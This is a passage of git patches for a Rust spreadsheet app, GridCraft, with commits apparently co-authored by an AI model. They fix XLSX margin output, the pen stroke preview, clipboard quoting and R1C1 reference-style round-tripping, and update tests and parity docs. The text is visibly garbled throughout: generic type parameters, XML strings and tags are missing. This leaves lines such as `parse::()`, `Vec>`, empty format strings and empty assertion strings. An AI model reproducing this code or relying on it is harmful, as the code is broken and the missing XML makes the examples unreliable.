Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Interaction, controls and feel, against Excel. Part of [target-app-parity.md](target-app-parity.md). **UI/UX fidelity: ~55% ready, 50–80 h** (estimated). Ribbon command coverage is measured @@ -125,6 +125,7 @@ otherwise. Number-format and border keys match the physical key (Ctrl+Shift+4, w | — | Cmd+Shift+H, Cmd+Shift+R, Cmd+Shift+K / J, Control+L, Control+U | replace, sort, group / ungroup, Define Name, edit cell | **added** | | Alt+Shift+Right / Left | Option+Right / Left is next/previous sheet | group / ungroup | **added** | | Ctrl+Shift+* (Ctrl+Shift+8), Ctrl+Shift+Space | Cmd+Shift+Space | current region, select all | **added** | +| Ctrl+. | Control+. | Next Corner of Selection: the active cell goes clockwise to the next corner and anchors there (`selection.nextCorner`, #1442) | **added** | | Ctrl+Shift+Home / End, Shift+Home | same | extend to A1 / last used cell / row start | **added** | | Ctrl+P | Cmd+P | print | **added** | | Ctrl+Shift+> / < | Cmd+Shift+> / < | font size | **added** | @@ -237,6 +238,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | Ctrl+. (Control+. on a Mac): Next Corner of Selection, `selection.nextCorner`: the active cell moves clockwise to the next corner of the selected area, which stays selected, and becomes the anchor, as in Excel (#1442) | | 2026-11-02 | minor | RefEdit reference boxes in dialogs: pick a range on the grid, collapse the dialog while selecting; Goal Seek, Solver (with the Model Range of Load/Save) and Data Analysis use them; while collapsed the arrow keys move the selection and Shift+arrow extends it, F4 cycles a reference's anchors, a click elsewhere keeps the box picking, a dialog opened over a picking one puts the selection back, OK stays on the sheet its command showed, and scripted cancel and confirm end a pick like the buttons; the dialog's sheet is followed through the recorded undo steps, so a sheet deleted and recreated under its name is not taken for it and an undo of the deletion brings it back; a box the dialog stops showing is no longer picked into | | 2026-11-02 | minor | Python mode edits a cell's code in the formula bar's code editor (Ctrl+Alt+Shift+P, `=PY` then Tab, editing a Python cell), with the PY badge beside fx; its keys apply in input order, also several in one frame, and Ctrl+Enter commits through `python.set` (empty code clears the cell), keeping the code and showing the command's message when the code is refused | | 2026-11-02 | minor | Insert › Symbols: Equation split button (access keys N E), a gallery of examples, and an equation editor with quick-insert buttons, the error underlined at its position and a live preview; double-clicking an equation edits it | From 49f2ef515bf433c0bfb2a1dcef804f6711ef3164 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 00:52:58 -0600 Subject: [PATCH 237/298] #1609: write page margins as their decimals The page margins are kept as f32 and were widened to f64 when written, so a 0.3-inch margin was saved as left="0.30000001192092896" (and 1.1 as 1.100000023841858). Each margin now goes through its shortest decimal form first, so the file says 0.3, as Excel writes it. Co-Authored-By: Claude Opus 5.5 --- crates/xlsx/src/sheet_write.rs | 7 ++++++- crates/xlsx/src/tests/page_order.rs | 12 ++++++++++++ docs/file-format-parity.md | 3 ++- 3 files changed, 20 insertions(+), 2 deletions(-) diff --git a/crates/xlsx/src/sheet_write.rs b/crates/xlsx/src/sheet_write.rs index a32e6bee6..ed3cb89ea 100644 --- a/crates/xlsx/src/sheet_write.rs +++ b/crates/xlsx/src/sheet_write.rs @@ -370,7 +370,12 @@ fn write_sheet_printing<'a>(s: &mut String, sheet: &'a Sheet, rels: &mut Rels, o } // Unmodelled content kept from the source file (printer settings, controls, OLE objects…). let kept = crate::passthrough::SheetKept::write(sheet, rels, out); - let m = |i: usize| num(p.margins.get(i).copied().unwrap_or(0.75) as f64); + // Margins are kept as f32: widen each through its shortest decimal, so 0.3 is written as + // `0.3`, as Excel writes it, and not as `0.30000001192092896` (#1609). + let m = |i: usize| { + let inches = p.margins.get(i).copied().unwrap_or(0.75); + num(inches.to_string().parse::().unwrap_or(f64::from(inches))) + }; let _ = write!(s, "", m(0), m(1), m(2), m(3), m(4), m(5)); s.push_str(""#; + let (wb, _) = read_xlsx(&minimal(body, &[], "", "")).unwrap(); + let xml = sheet_xml(&write_xlsx(&wb).unwrap()); + assert!(xml.contains(r#""#), "{xml}"); + // The default sheet writes Excel's default margins exactly. + let xml = sheet_xml(&write_xlsx(&Workbook::new()).unwrap()); + assert!(xml.contains(r#""#), "{xml}"); +} diff --git a/docs/file-format-parity.md b/docs/file-format-parity.md index c4bc72bae..45587104c 100644 --- a/docs/file-format-parity.md +++ b/docs/file-format-parity.md @@ -1,6 +1,6 @@ # File-format parity -> **Last reviewed:** 2026-11-01 · **Last updated:** 2026-11-02 · **Change:** minor (Python cells in `.xlsx` as [MS-XLSX] specifies, `_xlfn._xlws.PY(…)` naming code in the Python part, with cached values, and in GridCraft JSON, with limits on open; earlier: equations in xlsx as Office Math with a marker in `descr` so an edit made in Excel reads back, read back only up to the equation source cap, and a brace with a label and a script on its other side keeps both; Symbol font in PDF; earlier: XLSX reads and writes Page Setup's page order, `pageSetup pageOrder`, and PDF export follows it; earlier: chart data tables: native c:dTable import/export; earlier: XLSX workbook-view selection, normalized tab ratios and sheet-edit regressions; fidelity estimates unchanged; earlier: formulas from Google Sheets' XLSX export open as the original formula instead of `IFERROR(__xludf.DUMMYFUNCTION(…),…)` when GridCraft calculates every function in it, and save as it; `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors; earlier: `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors; CSV and text open detects each column's date order from values that read only one way, warns when every date is ambiguous, and keeps a column with both kinds as text (#2765)) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-11-01 · **Last updated:** 2026-11-03 · **Change:** minor (XLSX page margins are written as their decimals, `0.3` rather than `0.30000001192092896`; earlier: Python cells in `.xlsx` as [MS-XLSX] specifies, `_xlfn._xlws.PY(…)` naming code in the Python part, with cached values, and in GridCraft JSON, with limits on open; earlier: equations in xlsx as Office Math with a marker in `descr` so an edit made in Excel reads back, read back only up to the equation source cap, and a brace with a label and a script on its other side keeps both; Symbol font in PDF; earlier: XLSX reads and writes Page Setup's page order, `pageSetup pageOrder`, and PDF export follows it; earlier: chart data tables: native c:dTable import/export; earlier: XLSX workbook-view selection, normalized tab ratios and sheet-edit regressions; fidelity estimates unchanged; earlier: formulas from Google Sheets' XLSX export open as the original formula instead of `IFERROR(__xludf.DUMMYFUNCTION(…),…)` when GridCraft calculates every function in it, and save as it; `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors; earlier: `file.exportCsv {values: true}` writes raw values for automation; .xls dialog sheets are skipped instead of read as worksheets; `.xls` import reads each sheet's display options from WINDOW2: right-to-left, gridlines, headings, zeros, formulas; XLSX text boxes and shapes keep their paragraphs' right-to-left direction on save; CSV/TSV/TXT can open with every field kept as text via `file.open {csvAsText}`; formulas over Excel's 8,192 characters, and `%` or call chains past the nesting limit, are parse errors instead of stack overflows when a file is opened; XLSX PivotTables read and write `rowGrandTotals`/`colGrandTotals` the way Excel does, so a table saved with only one grand total opens with the right one; HTML export keeps right-to-left; CSV and text import detects likely Windows-1256 Arabic when invalid UTF-8 has Arabic byte runs; other invalid UTF-8 remains Windows-1252; HTML export places pictures and charts, as inline SVG, at their anchors; CSV and text open detects each column's date order from values that read only one way, warns when every date is ambiguous, and keeps a column with both kinds as text (#2765)) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Every format Excel opens or saves, with GridCraft's read and write support, fidelity and tests. Part of [target-app-parity.md](target-app-parity.md). **File formats: ~50% ready, 80–120 h** @@ -155,6 +155,7 @@ refresh. Counted under features (Get & Transform, ~10% ready), not here. | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | XLSX `pageMargins` are written as the decimals they were read or set as (`0.3`, as Excel writes them), not as the f64 widening of the stored f32 (`0.30000001192092896`) (#1609 item 7) | | 2026-11-02 | minor | Python cells: `.xlsx` reads and writes `_xlfn._xlws.PY(i,0 or 1)` with the code in the Python part (and reads the string-literal form) with cached values and spills, other formats adopt PY formulas, GridCraft JSON keeps the whole cell, and opening limits code size, result size and spill ranges | | 2026-11-02 | trivial | An equation without Office Math takes its stored source only while its text, paragraphs included, is what the writer wrote for it; a paragraph split that changes no character reads back as a text box with the split text | | 2026-11-02 | trivial | Each equation box carries the marker of its own body in its description, the Office Math box and the plain-text fallback alike, and the reader takes the stored source only while the body it reads matches the marker: the text of an equation without Office Math that another application edited reads back as a text box with the edited text instead of the stale source | From 2fe3bfc0779d5441de35fc4accebd5f1b61473c1 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 00:59:09 -0600 Subject: [PATCH 238/298] #1786: the live pen stroke is drawn as the ink it commits While dragging with a pen, the stroke under the pointer was always painted blue at 2 pt, whatever pen or highlighter was chosen, so the preview and the committed ink disagreed (a highlighter previewed as a thin blue line). The preview now uses the colour and width draw.stroke stores (pen blue and 2 pt by default, 0.5-40 pt, whole points) and the translucency Ink shapes are painted with above 8 pt. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/grid/interact.rs | 36 +++++++++++++++++++++++++---- docs/ui-parity.md | 3 ++- 2 files changed, 34 insertions(+), 5 deletions(-) diff --git a/crates/ui-egui/src/grid/interact.rs b/crates/ui-egui/src/grid/interact.rs index 5de25fd53..a94f08e6d 100644 --- a/crates/ui-egui/src/grid/interact.rs +++ b/crates/ui-egui/src/grid/interact.rs @@ -225,10 +225,10 @@ fn handle_draw_tool(app: &mut SheetApp, input: &InteractionInput<'_>) -> bool { )) }) .collect(); - input - .ui - .painter() - .add(egui::epaint::PathShape::line(pts, egui::epaint::PathStroke::new(2.0 * geo.z, Color32::from_rgb(0x1F, 0x5F, 0xC9)))); + // The line under the pointer is the ink the stroke will commit (#1786). + let theme = app.session.active().map(|d| d.wb.theme.clone()).unwrap_or_default(); + let (color, width) = pen_ink(&app.session.draw_color, app.session.draw_width, &theme); + input.ui.painter().add(egui::epaint::PathShape::line(pts, egui::epaint::PathStroke::new(width * geo.z, color))); } if resp.drag_stopped() && app.grid.ink.len() >= 2 { let pts: Vec<[f32; 2]> = std::mem::take(&mut app.grid.ink); @@ -249,6 +249,17 @@ fn handle_draw_tool(app: &mut SheetApp, input: &InteractionInput<'_>) -> bool { false } +/// The colour and width (points) of the ink a pen stroke commits, as `draw.stroke` stores it (the +/// pen's colour, pen blue by default; its width, 2 pt by default, kept to 0.5–40 pt and stored +/// whole) and as Ink shapes paint it (a highlighter, over 8 pt, is translucent). +pub(crate) fn pen_ink(color: &str, width: f32, theme: &gridcraft_engine::model::Theme) -> (Color32, f32) { + let pen_blue = gridcraft_engine::model::Color::rgb(0x1F, 0x5F, 0xC9); + let line = gridcraft_engine::model::Color::from_hex(color).unwrap_or(pen_blue); + let width = if width <= 0.0 { 2.0 } else { width }.clamp(0.5, 40.0).round().max(1.0); + let color = line.resolve(theme).map(crate::theme::color32).unwrap_or(Color32::from_rgb(0x1F, 0x5F, 0xC9)); + (if width > 8.0 { color.gamma_multiply(0.45) } else { color }, width) +} + fn handle_header_autofit(app: &mut SheetApp, input: &InteractionInput<'_>) -> bool { let (geo, sh, sel, pos) = (input.geo, input.sheet, &input.selection, input.position); let (in_col_header, in_row_header) = (input.in_column_header, input.in_row_header); @@ -1044,3 +1055,20 @@ pub fn point_move(app: &mut SheetApp, ed: &mut EditState, dr: i64, dc: i64, exte ed.point_anchor = Some((sheet, anchor)); app.grid.ensure_visible = true; } + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn the_pen_preview_is_the_ink_the_stroke_commits() { + // #1786: the preview was always blue at 2 pt, whatever the pen. + let theme = gridcraft_engine::model::Theme::default(); + assert_eq!(pen_ink("#C00000", 3.0, &theme), (Color32::from_rgb(0xC0, 0, 0), 3.0)); + assert_eq!(pen_ink("", 0.0, &theme), (Color32::from_rgb(0x1F, 0x5F, 0xC9), 2.0), "no pen chosen yet: pen blue, 2 pt"); + assert_eq!(pen_ink("not a colour", 0.2, &theme), (Color32::from_rgb(0x1F, 0x5F, 0xC9), 1.0)); + // A highlighter is wide and translucent, as the committed ink is painted. + let (c, w) = pen_ink("#FFFF00", 12.0, &theme); + assert_eq!((c, w), (Color32::from_rgb(0xFF, 0xFF, 0).gamma_multiply(0.45), 12.0)); + } +} diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 125182d27..5b7b4fb66 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -1,6 +1,6 @@ # UI parity -> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-02 · **Change:** minor (RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-03 · **Change:** minor (the Draw tab's live stroke preview uses the pen's colour and thickness; earlier: RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Interaction, controls and feel, against Excel. Part of [target-app-parity.md](target-app-parity.md). **UI/UX fidelity: ~55% ready, 50–80 h** (estimated). Ribbon command coverage is measured @@ -237,6 +237,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | Draw tab: the stroke drawn under the pointer while dragging a pen is the ink that will be committed, in the pen's colour and thickness (translucent for a highlighter), instead of always blue at 2 pt (#1786) | | 2026-11-02 | minor | RefEdit reference boxes in dialogs: pick a range on the grid, collapse the dialog while selecting; Goal Seek, Solver (with the Model Range of Load/Save) and Data Analysis use them; while collapsed the arrow keys move the selection and Shift+arrow extends it, F4 cycles a reference's anchors, a click elsewhere keeps the box picking, a dialog opened over a picking one puts the selection back, OK stays on the sheet its command showed, and scripted cancel and confirm end a pick like the buttons; the dialog's sheet is followed through the recorded undo steps, so a sheet deleted and recreated under its name is not taken for it and an undo of the deletion brings it back; a box the dialog stops showing is no longer picked into | | 2026-11-02 | minor | Python mode edits a cell's code in the formula bar's code editor (Ctrl+Alt+Shift+P, `=PY` then Tab, editing a Python cell), with the PY badge beside fx; its keys apply in input order, also several in one frame, and Ctrl+Enter commits through `python.set` (empty code clears the cell), keeping the code and showing the command's message when the code is refused | | 2026-11-02 | minor | Insert › Symbols: Equation split button (access keys N E), a gallery of examples, and an equation editor with quick-insert buttons, the error underlined at its position and a live preview; double-clicking an equation edits it | From fe965e758150adadfbc27cd154bc360675715c13 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 01:02:40 -0600 Subject: [PATCH 239/298] #2225: copy quotes only cells with a tab or line break Copy wrapped any cell that held a double quote in quotes (and doubled its quotes), so copying `say "hi"` into another app gave `"say ""hi"""`. Excel quotes only text with a tab or line break; a cell with just quotes goes on the clipboard as it is. Pasting text read a field that starts with a quote as quoted even when its closing quote doesn't end the field, so `"hi" there` (which Excel copies as it is) pasted as `hi there`. A field is now quoted only when its closing quote is followed by a tab, a line end or the end of the text; otherwise it is the text as written, as Excel pastes it. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/edit/clipboard.rs | 10 ++++++++++ crates/engine/src/cmd/edit/tests.rs | 19 +++++++++++++++++++ crates/engine/src/display.rs | 4 +++- docs/ui-parity.md | 3 ++- 4 files changed, 34 insertions(+), 2 deletions(-) diff --git a/crates/engine/src/cmd/edit/clipboard.rs b/crates/engine/src/cmd/edit/clipboard.rs index 3a1cd0739..1490b082c 100644 --- a/crates/engine/src/cmd/edit/clipboard.rs +++ b/crates/engine/src/cmd/edit/clipboard.rs @@ -228,14 +228,23 @@ pub(crate) fn parse_tsv(text: &str) -> Vec> { let mut chars = text.chars().peekable(); let mut quoted = false; let mut at_start = true; + // A quoted field's text as it stands in the input, for a field that turns out not to be one. + let mut raw = String::new(); while let Some(c) = chars.next() { if quoted { + raw.push(c); if c == '"' { if chars.peek() == Some(&'"') { field.push('"'); + raw.push('"'); chars.next(); } else { quoted = false; + // A field is quoted only when its closing quote ends it, as Excel reads it: + // `"hi" there` is that text, quotes included. + if !matches!(chars.peek(), None | Some('\t' | '\n' | '\r')) { + field = std::mem::take(&mut raw); + } } } else { field.push(c); @@ -246,6 +255,7 @@ pub(crate) fn parse_tsv(text: &str) -> Vec> { '"' if at_start => { quoted = true; at_start = false; + raw = String::from('"'); } '\t' => { row.push(std::mem::take(&mut field)); diff --git a/crates/engine/src/cmd/edit/tests.rs b/crates/engine/src/cmd/edit/tests.rs index 3f3a2fb6d..5034646cd 100644 --- a/crates/engine/src/cmd/edit/tests.rs +++ b/crates/engine/src/cmd/edit/tests.rs @@ -307,6 +307,9 @@ fn tsv() { assert_eq!(parse_tsv("a\tb\n1\t2\n"), vec![vec!["a", "b"], vec!["1", "2"]]); assert_eq!(parse_tsv("\"x\ty\"\tz"), vec![vec!["x\ty", "z"]]); assert_eq!(parse_tsv("\"he said \"\"hi\"\"\""), vec![vec!["he said \"hi\""]]); + // #2225: a quote that doesn't close the field leaves it as written, as Excel pastes it. + assert_eq!(parse_tsv("\"hi\" there\tx\n"), vec![vec!["\"hi\" there", "x"]]); + assert_eq!(parse_tsv("say \"hi\"\n"), vec![vec!["say \"hi\""]]); } #[test] @@ -371,3 +374,19 @@ fn replace_case_insensitive_keeps_text_when_folding_moves_boundaries() { let sh = s.doc().unwrap().wb.active().unwrap(); assert_eq!(sh.value(CellRef::new(0, 0)), Value::text(text)); } + +#[test] +fn copy_quotes_only_cells_with_tabs_or_line_breaks() { + // #2225: a cell holding a quote was wrapped in quotes on copy; Excel quotes only text with a + // tab or line break, and pastes the result back as the same cells. + let mut s = Session::new(); + s.new_workbook(); + for (cell, input) in [("A1", "say \"hi\""), ("A2", "plain"), ("A3", "\"hi\" there"), ("A4", "x \"q\"\ny"), ("A5", "tab\tinside")] { + s.execute("cell.set", json!({"cell": cell, "input": input})).unwrap(); + } + let text = s.execute("edit.copy", json!({"range": "A1:A5"})).unwrap()["text"].as_str().unwrap().to_string(); + assert_eq!(text, "say \"hi\"\nplain\n\"hi\" there\n\"x \"\"q\"\"\ny\"\n\"tab\tinside\"\n"); + let rows = parse_tsv(&text); + let cells: Vec<&str> = rows.iter().map(|r| r[0].as_str()).collect(); + assert_eq!(cells, ["say \"hi\"", "plain", "\"hi\" there", "x \"q\"\ny", "tab\tinside"]); +} diff --git a/crates/engine/src/display.rs b/crates/engine/src/display.rs index 2189d6c64..06a0fa587 100644 --- a/crates/engine/src/display.rs +++ b/crates/engine/src/display.rs @@ -156,7 +156,9 @@ pub fn range_text(wb: &Workbook, sheet: usize, r: RangeRef) -> String { } first = false; let t = cell_text(wb, sh, CellRef::new(row, col)); - if t.contains(['\t', '\n', '"']) { + // Like Excel, only text with a tab or line break is quoted (its quotes doubled); + // `say "hi"` is copied as it is (#2225). + if t.contains(['\t', '\n', '\r']) { out.push('"'); out.push_str(&t.replace('"', "\"\"")); out.push('"'); diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 125182d27..bf36ff04d 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -1,6 +1,6 @@ # UI parity -> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-02 · **Change:** minor (RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-03 · **Change:** minor (copy quotes only cells with a tab or line break, as Excel does; earlier: RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Interaction, controls and feel, against Excel. Part of [target-app-parity.md](target-app-parity.md). **UI/UX fidelity: ~55% ready, 50–80 h** (estimated). Ribbon command coverage is measured @@ -237,6 +237,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | Copy puts a cell that holds a quote on the clipboard as it is (`say "hi"`), quoting only text with a tab or line break, as Excel does; pasting text reads a field as quoted only when its closing quote ends it, so `"hi" there` pastes with its quotes (#2225) | | 2026-11-02 | minor | RefEdit reference boxes in dialogs: pick a range on the grid, collapse the dialog while selecting; Goal Seek, Solver (with the Model Range of Load/Save) and Data Analysis use them; while collapsed the arrow keys move the selection and Shift+arrow extends it, F4 cycles a reference's anchors, a click elsewhere keeps the box picking, a dialog opened over a picking one puts the selection back, OK stays on the sheet its command showed, and scripted cancel and confirm end a pick like the buttons; the dialog's sheet is followed through the recorded undo steps, so a sheet deleted and recreated under its name is not taken for it and an undo of the deletion brings it back; a box the dialog stops showing is no longer picked into | | 2026-11-02 | minor | Python mode edits a cell's code in the formula bar's code editor (Ctrl+Alt+Shift+P, `=PY` then Tab, editing a Python cell), with the PY badge beside fx; its keys apply in input order, also several in one frame, and Ctrl+Enter commits through `python.set` (empty code clears the cell), keeping the code and showing the command's message when the code is refused | | 2026-11-02 | minor | Insert › Symbols: Equation split button (access keys N E), a gallery of examples, and an equation editor with quick-insert buttons, the error underlined at its position and a live preview; double-clicking an equation edits it | From c121fb590152c562546dc2d248109b7e06195e0e Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 01:07:29 -0600 Subject: [PATCH 240/298] #2809: keep a workbook's R1C1 reference style through open and save A workbook saved by Excel in R1C1 reference style says so in . GridCraft didn't read the attribute, so opening and saving such a file switched it back to A1 style for the next person who opened it in Excel. The calculation settings now keep it (CalcSettings.r1c1, serde default false) and the writer puts it back; A1 stays the default and isn't written. GridCraft itself still shows and takes A1 references; the R1C1 display and entry are the rest of the issue. Co-Authored-By: Claude Opus 5.5 --- crates/model/src/workbook.rs | 5 +++++ crates/xlsx/src/read.rs | 1 + crates/xlsx/src/tests/roundtrip.rs | 20 +++++++++++++++++++- crates/xlsx/src/write.rs | 3 +++ docs/file-format-parity.md | 3 ++- 5 files changed, 30 insertions(+), 2 deletions(-) diff --git a/crates/model/src/workbook.rs b/crates/model/src/workbook.rs index 2d16b46b5..1c5b007f6 100644 --- a/crates/model/src/workbook.rs +++ b/crates/model/src/workbook.rs @@ -95,6 +95,10 @@ pub struct CalcSettings { pub max_change: f64, /// Use precision as displayed. pub precision_as_displayed: bool, + /// R1C1 reference style (``): kept with the file and written back; + /// GridCraft itself shows and takes A1 references. + #[serde(default)] + pub r1c1: bool, } impl Default for CalcSettings { @@ -105,6 +109,7 @@ impl Default for CalcSettings { max_iterations: Self::DEFAULT_ITERATIONS, max_change: Self::DEFAULT_CHANGE, precision_as_displayed: false, + r1c1: false, } } } diff --git a/crates/xlsx/src/read.rs b/crates/xlsx/src/read.rs index 3cc2a6655..ead44c0e7 100644 --- a/crates/xlsx/src/read.rs +++ b/crates/xlsx/src/read.rs @@ -221,6 +221,7 @@ fn read_workbook_properties(cx: &mut Ctx<'_>, wb: &mut Workbook, xml: &El) { wb.calc.set_max_change(d); } wb.calc.precision_as_displayed = !c.flag("fullPrecision", true); + wb.calc.r1c1 = c.attr("refMode") == Some("R1C1"); } if let Some(p) = xml.child("workbookProtection") { wb.protected_structure = p.flag("lockStructure", false); diff --git a/crates/xlsx/src/tests/roundtrip.rs b/crates/xlsx/src/tests/roundtrip.rs index 2bdba21b8..ade0835c2 100644 --- a/crates/xlsx/src/tests/roundtrip.rs +++ b/crates/xlsx/src/tests/roundtrip.rs @@ -20,7 +20,7 @@ fn rr(a: &str) -> RangeRef { fn sample() -> Workbook { let mut wb = Workbook::new(); wb.date_system = DateSystem::D1904; - wb.calc = CalcSettings { mode: CalcMode::Manual, iterative: true, max_iterations: 42, max_change: 0.5, precision_as_displayed: true }; + wb.calc = CalcSettings { mode: CalcMode::Manual, iterative: true, max_iterations: 42, max_change: 0.5, precision_as_displayed: true, r1c1: true }; wb.protected_structure = true; wb.structure_password = Some(gridcraft_model::PasswordHash::new_sha512("s3cret", b"0123456789abcdef")); wb.props = DocProps { @@ -1696,3 +1696,21 @@ fn generated_rule_formulas_use_the_top_left_cell_of_every_area() { z.by_name("xl/worksheets/sheet1.xml").unwrap().read_to_string(&mut xml).unwrap(); assert!(xml.contains("NOT(ISERROR(SEARCH(\"x\",C2)))"), "{xml}"); } + +#[test] +fn r1c1_reference_style_is_kept() { + // #2809: `` was dropped on open, so a workbook saved by Excel in R1C1 + // style came 